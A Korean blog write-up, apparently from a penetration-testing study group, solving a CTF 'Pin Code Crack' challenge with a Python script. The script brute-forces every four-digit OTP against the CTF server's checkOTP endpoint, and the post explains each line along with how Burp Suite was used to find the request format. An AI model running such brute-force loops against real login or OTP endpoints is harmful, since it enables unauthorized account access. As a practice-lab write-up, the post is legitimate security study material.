[모의해킹 CTF] Pin Code Crack : Python 풀이

모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성. 

기존 Pin Code Crack 문제를 Python 으로 Intruder 기능을 구현하여 풀이하는 과정에 대한 설명.

Pin Code Crack : Using Python

 

목차

1. Python 설정

2. Code Write-up

 

Python 설정

Mac 기반 python 설치 및 실행을 위한 터미널 설정. 

 

1. Terminal 에 homebrew를 이용하여 python 설치 (pip도 동시에 설치됨)

brew install python

 

2. Python 버전 확인

python3 --version

 

3. PIP 버전 확인

pip3 --version

 

4. Requests 라이브러리 설치

pip3 install requests

 

5. 파이썬 코드 실행 방법

python3 /full directory/filename.py

 

Code Write-up

import requests

print("[*] Password Crack Start...")

for i in range (0,9999):
    tryNum = str(i).zfill(4)

    print("[>] Try : [" + tryNum + "],", end="\r")
    response = requests.get(f"http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum={tryNum}")

    if 'Login Fail...' not in response.text:
        print("[+] Found Code : " + tryNum)
        break

 

Requests 라이브러리를 불러옵니다. 

 

0 ~ 9999까지의 숫자를 대입하며, str(i) : 숫자 i를 / zfill(4) : 4자리 숫자로 변환한다. 

i = 7 이라면, tryNum = 0007

 

print : [>] Try : 현재 시도중인 숫자

end = "\r" : 출력 후 커서가 줄의 처음으로 이동시켜, 모든 데이터가 한 줄에 오도록 한다. 이 줄이 없다면 시도하는 숫자가 세로로 순서대로 출력된다. 

[>] Try : [0000]

[>] Try : [0001] ...

 

response를 GET 방식으로 해당 URL에서 가져온다.

{tryNum}의 위치와 URL은, burp suite을 이용해 어떠한 방식으로 데이터를 주고 받는지 확인하여 가져온 부분이다. 

 

response에 'Login Fail...' 이라는 값이 없다면, [+] Found Code : 시도한 숫자 값을 리턴하고, loop 종료

이 문구 또한, burp suite에서 어떤 방식의 데이터가 오고 가는지를 참조하여 넣은 구문이다. 

 

▶ burp suite : pin code 숫자 1111을 입력했을 때 web의 request와 response

etc-image-0